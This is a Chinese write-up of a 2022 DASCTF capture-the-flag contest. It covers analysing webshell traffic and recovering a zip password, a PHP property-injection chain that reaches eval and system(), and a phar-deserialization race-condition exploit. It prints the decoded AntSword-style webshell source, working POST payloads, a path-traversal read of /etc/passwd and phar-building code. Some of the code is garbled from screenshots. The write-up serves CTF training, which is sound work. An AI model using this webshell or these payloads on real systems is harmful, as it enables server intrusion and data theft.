

# 2022DASCTF Apr X FATE 防疫挑战赛 WriteUP

原创

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## Misc

### SimpleFlow

看流量大概是上传了一个后门, 但是会对payload加密, 这里发现有flag.txt被打包

```
leGVjKCRjKTskc289JGUTPlN0ZE91dCgpOyRyZXQuPSRzby0%2BUmVhZEFsbCgpOyRzZT0kZS0%2BU3Rl
1dC49JHN1LT5SzWfkQWxsKCK7cHJpbnQoJHJldCk7fWsc2V7JHJldCA9IDEyNzt9cmV0dXJuICRyZXQ
ydw5jbWQoJHIuIiAyPiYxIik7cHJpbnQgKCRyZXQhPTApPyJyZXQ9eyRyZXR9IjoIjs7fWNhdGNoKEV
kZS17ZWNoByAiRVJST1I6Ly8iLiRllT5nZXRNZXNzYWdlKCk7fTthc291dHB1dCgp02RpZSgp0w%3D%3
3d97=WaL2Jpb19zaA%3D%3DHTTP/1.1 200 OK
Date: Tue, 05 Apr 2022 12:32:05 GMT
Server: Apache/2.4.46 (Unix) mod_fastcgi/mod_fastcgi-SNAP-0910052141 OpenSSL/1.0
mod_wsgi/3.5 Python/2.7.13
X-Powered-By: PHP/7.4.21
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
56
b63ba7dfa20 adding: ../flag.txt (deflated 10%)
[S]
/Users/chang/Sites/test
[E]
```

后面的包里面发现flag.zip

```
POST / HTTP/1.1
Host: 192.168.0.104:8888
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Content-Length: 832
Connection: close

a=%40eval(%40base64_decode(%24_POST%5B'x0569034c161c9'%5D))
%3B&i18f67606750bc=dXL1VzZXJzL2NoYW5nL1NpdGVzL3Rlc3QvZmxhZy56aXA%3D&x0569034c161c9=QGluaV9zZXQ
oIMRpC3BsYXlfZXJy3JzIiwgIjAiKTtAc2V0X3RpWVfbGltaxQoMCK7ZnVuY3RpB24gYXNlbmMoJG91dC17cmV0dXJuIC
CRvdXQ7fTmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCK7b2JfZW5kX2NsZWfuKCK7ZN
obyAiZWIzMiIuIjc5NTYi02VjaG8gQGFzZW5jKCRvdXRwdXQp02VjaG8gIjQ0ZTcilIxZWI2NiI7fw9iX3N0YXJ0KCK7d
HJ5eyRGPMJhc2U2NF9kZWnvZGUoc3Vic3RyKGd1df9tYWdpY19xdW90ZXNFZ3BjKCK%2Fc3RyaXBzbGFzaGVzKCRfUE9TV
FsiaTE4ZjY3NjA2NzUwYmMiXSsk6JF9QT1NUWyJpMThmNjc2MDY3NTBiYyJdLDIpKTskZnA9QGZvcGVuKCRGLCJyIik7awY
oQGZnZXRjKCRmcCkpe0BmY2xvc2UoJGZwKTtAcmVhZGZpbGUoJEYp031lbHNle2VjaG8oIkVSUk9S0i8vIENhbib0b3QgUm
VhZCIp0307fwNhdcGNoKEV4Y2VwdGlvbAkZS1ZwNobyAiRVJST1I6Ly8iLiRllT5nZXRNZXNzYWdlKCK7fTthc291dHB
1dCgp02RpZSgp0w%3D%3DHHTTP/1.1 200 OK
Date: Tue, 05 Apr 2022 12:32:18 GMT
Server: Apache/2.4.46 (Unix) mod_fastcgi/mod_fastcgi-SNAP-0910052141 OpenSSL/1.0.2u mod_wsgi/3.5 Python/2.7.13
X-Powered-By: PHP/7.4.21
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

125
eb327956PK....      .T 3.|X...T...../flag.txtUT    ...2LbK6Lbux.....p_
p=.T.L..T...7.y.u....b.K?..D._{.At.....0h..g<.0<.k<.S.=...+Y.V.....c.+T.k..PK.. 3.|_
X...T...PK.....      .T 3.|X...T...../flag.txtUT.....
2Lbux.....PK.....Q.....44e71eb66
0

分组 402。1 客户端 分组，1 服务器 分组，1 turn(s).点击选择。
整个对话 (1662 bytes) Show data as ASCII 流 52
查找: 查找下一个
```

但是打开需要密码，那么我们就要回去压缩的地方，看看给的什么密码，所以我们就得解开这个流量

这个很长的解开是就是加密的木马

```

<?php @ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;}function asoutput(){
$output=ob_get_contents();ob_end_clean();echo "b63ba"."7dfa20";echo @asenc($output);echo "80e"."11a";}ob_start()
;try{$p=base64_decode(substr($_POST["01faebd4ec3d97"],2));$s=base64_decode(substr($_POST["g479cf6f058cf8"],2));$envstr=@base64_decode(substr($_POST["e57fb9c067c677"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="?"-c \"{$s}\":/c \"{$s}\",if(substr($d,0,1)="/" ){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").".:/C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/");}if(!empty($envstr)){${envvar}=explode("|||a
sline|||", $envstr);foreach(${envvar} as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";function fe($f){$d=explode(",",@"ini_get("disable_functions"));if(empty($d)){${d}=array();}else{${d}=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL() { x;
}; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;};}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join(
",",$o));}elseif(fe('popen')){$fp=@popen($c, 'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d, new COM('WScript.shell'));$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$ret;};$ret=@runcmd($r." 2>&1");echo $c;print ($ret!=0?"ret={$ret}":"");}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();
die();

```

这里进行一个审计，发现执行的命令是\$c，所以我们在后面加一个echo弄出来就可以了

```

$c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('
pipe', 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@f
eo($io[1])){@fgets($io[1],2048);}@pclose($io[1]);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d,
new COM('WScript.shell'));$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll()
$ret;};$ret=@runcmd($r." 2>&1");echo $c;print ($ret!=0?"ret={$ret}":"");}catch(
Exception $e){echo "ERROR://".$e->getMessage();};asoutput();
die();

```

成功拿到密码PaSsZiPWorD

```

ig/Sites/test: No such file or directory zip warning: name not matched: ../flag.txt zip e
:[E] -c "cd "/Users/chang/Sites/test";zip -P PaSsZiPWorD flag.zip ..//flag.txt;echo [S

```



解开压缩包就是flag

```
flag.txt - Notepad
File Edit Format View Help
Yes, this is the flag file.
And the flag is:
DASCTF{f3f32f434eddbc6e6b5043373af95ae8}
```

## Web

### warmup-php

在构造函数里面，会调用一个run方法

```
$object->run();
```

有run方法的只有listview

```
public function run()
{
    echo "<".$this->tagName.">\n";
    $this->renderContent();
    echo "<".$this->tagName.">\n";
}
```

执行命令的地方在Base的evaluateExpression里面，这里最底层的类是TestView，所以我们从这里分析

这里的renderTableRow方法里面会进入evaluateExpression，而renderTableRow可以从renderTableBody进入

再回头来看run方法，调用run方法以后进入renderContent，这里会进入renderSection，这里会进行一拼接

```
protected function renderSection($matches)
{
    $method='render' . $matches[1];
    if(method_exists($this,$method))
    {
        $this->$method();
        $html=ob_get_contents();
        ob_clean();
        return $html;
    }
    else
        return $matches[0];
}
```

所以我们可以利用这个进入renderTableBody，这样利用链就出来了

```
Action->run()->renderContent()->renderSection()->renderTableBody()->renderTableRow()->evaluateExpression()
```

那么就看看怎么传参，首先是action，是最底层的类TestView，然后看properties，这里会循环为对象属性赋值

```

highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{

    public function __construct($action,$properties){

        $object=new $action();
        foreach($properties as $name=>$value)
            $object->$name=$value;
        $object->run();
    }
}

new Action($action,$properties);

```

我们进入TestView去看看，首先看执行的命令，是rowHtmlOptionsExpression属性

```

$data=$this->data[$row];
$options=$this->evaluateExpression($this->rowHtmlOptionsExpression, array('row'=>$row, 'data'=>$data));
if(is_array($options))
    $htmlOptions = $options;

```

所以赋值为 eval(\$\_POST[1])，还需要有一个参数data，这个并不影响，所以我们随便附一个值

再往回走到ListView里面，这里是执行了一个无参的方法，我们前面分析的是从renderTableBody进去renderTableRow，所以这里我们需要以数组的形式拼接一个 TableBody

```

protected function renderSection($matches)
{
    $method='render';
    if(method_exists($this,$method))
    {
        $this->$method();
        $html=ob_get_contents();
        ob_clean();
        return $html;
    }
}

```

那么传参为 properties[template]={TableBody}

最后的payload

get

?action=TestView

post

```
1=system('whoami');&properties[data]=ph&properties[rowHtmlOptionsExpression]=eval($_POST[1])&properties[template]={TableBody}
```

```
<?php
spl_autoload_register(function($class){
    require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{
    public function __construct($action,$properties){
        $object=new $action();
        foreach($properties as $name=>$value)
            $object->$name=$value;
        $object->run();
    }
}
new Action($action,$properties);
?>
www-data
```

The screenshot shows the HackBar interface with a POST request to the specified URL. The body of the request contains the exploit code provided in the previous text block.

在/readflag拿到flag

```
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{
    public function __construct($action,$properties){
        $object=new $action();
        foreach($properties as $name=>$value)
            $object->$name=$value;
        $object->run();
    }
}
new Action($action,$properties);
?>
flag{d6452229-6aba-428b-b071-e6e06e96a2c9} execute this binary on the server to get the flag!
```

The screenshot shows the HackBar interface with a POST request to the specified URL. The body of the request contains the exploit code provided in the previous text block, specifically targeting the /readflag endpoint.

## soeasy\_php

发现有个editor.php

```
:br/>
<form action="edit.php" method="post" enctype="application/x-www-form-urlencoded">
    <p><input type="text" name="png" value="2.png" hidden="1"></p>
    <p><input type="text" name="flag" value="flag{x}" hidden="1" ></p>
    <!--    <p><input type="submit" value="更换头像"></p> -->
</form>
```

使用下面的payload可以任意文件读取

```
png=../../../../etc/passwd&flag=1
```

```
GET /uploads/head.png HTTP/1.1
Host: b5870cde-39ec-4756-a7b7-5d13e07d09d8.node4.buuoj.cn:81
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=
17ce66384da93f-0dbe40924913eb-123b6650-1fa400-17ce66384db1805
Connection: close
1   HTTP/1.1 200 OK
2   Server: openresty
3   Date: Sat, 23 Apr 2022 11:00:16 GMT
4   Content-Type: image/png
5   Content-Length: 919
6   Connection: close
7   Accept-Ranges: bytes
8   Etag: "5aa5c300-397"
9   Last-Modified: Mon, 12 Mar 2018 00:00:00 GMT
10
11  root:x:0:0:root:/root:/bin/bash
12  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
13  bin:x:2:2:bin:/bin:/usr/sbin/nologin
14  sys:x:3:sys:/dev:/usr/sbin/nologin
15  sync:x:4:65534:sync:/bin:/bin/sync
16  games:x:5:60:games:/usr/games:/usr/sbin/nologin
17  man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
18  lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
19  mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
20  news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
21  uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
22  proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
23  www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
24  backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
25  list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
26  irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
27  gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
28  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
29  _apt:x:100:65534::/nonexistent:/bin/false
30
```

读一下源码

upload.php

```
<?php
if (!isset($_FILES['file'])) {
    die("请上传头像");
}

$file = $_FILES['file'];
$filename = md5("png".$file['name']).".png";
$path = "uploads/".$filename;
if(move_uploaded_file($file['tmp_name'],$path)){
    echo "上传成功:  ".$path;
};
```

editor.php

```

<?php
class flag{
    public function copyflag(){
        exec("/copyflag"); //以root权限复制flag 到 /tmp/flag.txt, 并chown www-data:www-data /tmp/flag.txt
        echo "SFTQL";
    }
    public function __destruct(){
        $this->copyflag();
    }
}

function filewrite($file,$data){
    unlink($file);
    file_put_contents($file, $data);
}

if(isset($_POST['png'])){
    $filename = $_POST['png'];
    if(!preg_match("/:|phar|\/\/|php/im", $filename)){
        $f = fopen($filename,"r");
        $contents = fread($f, filesize($filename));
        if(strpos($contents,"flag{") !== false){
            filewrite($filename,"Don't give me flag!!!");
        }
    }
}

if(isset($_POST['flag'])) {
    $flag = (string)$_POST['flag'];
    if ($flag == "Give me flag") {
        filewrite("/tmp/flag.txt", "Don't give me flag");
        sleep(2);
        die("no no no !");
    } else {
        filewrite("/tmp/flag.txt", $flag); //不给我看我自己写个flag。
    }
    $head = "uploads/head.png";
    unlink($head);
    if (symlink($filename, $head)) {
        echo "成功更换头像";
    } else {
        unlink($filename);
        echo "非正常文件, 已被删除";
    };
}
}

```

发现新大陆，这里大概的逻辑是这样，有一个类flag，在下面是把post[png]的值创建一个软链到 `uploads/head.png`，这里用了unlink，又有class，而且涉及到文件操作，基本锁定是phar反序列化了，而unlink可以触发phar反序列化

这里的flag类里面执行了这样的文件

以root权限复制flag 到 /tmp/flag.txt

但是这里会把post[flag]写进/tmp/flag.txt，这里就有矛盾了

```
if(isset($_POST['flag'])) {
    $flag = (string)$_POST['flag'];
    if ($flag == "Give me flag") {
        filewrite( file: "/tmp/flag.txt", data: "Don't give me f"
        sleep( seconds: 2);
        die("no no no !");
    } else {
        filewrite( file: "/tmp/flag.txt", $flag); //不给我看我自己
    }
    $head = "uploads/head.png";
    unlink($head);
    if (symlink($filename, $head)) {
        echo "成功更换头像";
    } else {
        unlink($filename);
    }
}
```

如果我们要读文件/tmp/flag.txt，那么就得再次触发这个，那么就会把post[flag]写进/tmp/flag

这样我们之前写的flag就没了，那么这里就是需要一个竞争了

还有一个难点，我们得触发phar反序列化，而触发点在这

```
$head = "uploads/head.png";
unlink($head);
if (symlink($filename, $head)) {
    echo "成功更换头像";
} else {
    unlink($filename);
    echo "非正常文件，已被删除";
};
}
```

要进这个点，那么就只能让symlink报错才行，一开始尝试加个%00，虽然成功报错，但是无法反序列化了，这里是需添加脏数据来报错

那么就开始构造payload:

phar文件构造

```
<?php
class flag{
public function copyflag(){
exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt, 并chown www-data:www-data /tmp/flag.txt
echo "SFTQL";
}
public function __destruct(){
$this->copyflag();
}
}

$a = new flag();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
```

上传拿到路径 uploads/fe409167fb98b72dcaff5486a612a575.png

尝试添加脏数据，成功反序列化

```
1 HTTP/1.1 200 OK
2 Server: openresty
3 Date: Mon, 25 Apr 2022 10:11:51 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: close
6 X-Powered-By: PHP/7.2.3
7 Content-Length: 35
8
9 非正常文件，已被删除SET01
```

那么就可以开始条件竞争了

1. phar反序列化的触发
  2. 软链指向uploads/head.png
  3. 访问uploads/head.png拿到信息

编写如下脚本



问题 输出 终端 调试控制台

```
<hr><center>nginx/1.10.3</center>
</body>
</html>
```

成功更换头像  
flag{b51555ba-82c0-4afa-a320-8372d5a886bd}

非正常文件，已被删除 SFTQL  
成功更换头像

非正常文件，已被删除 SFTQL  
flag{b51555ba-82c0-4afa-a320-8372d5a886bd}

flag{b51555ba-82c0-4afa-a320-8372d5a886bd}

(2)

行 40, 列 1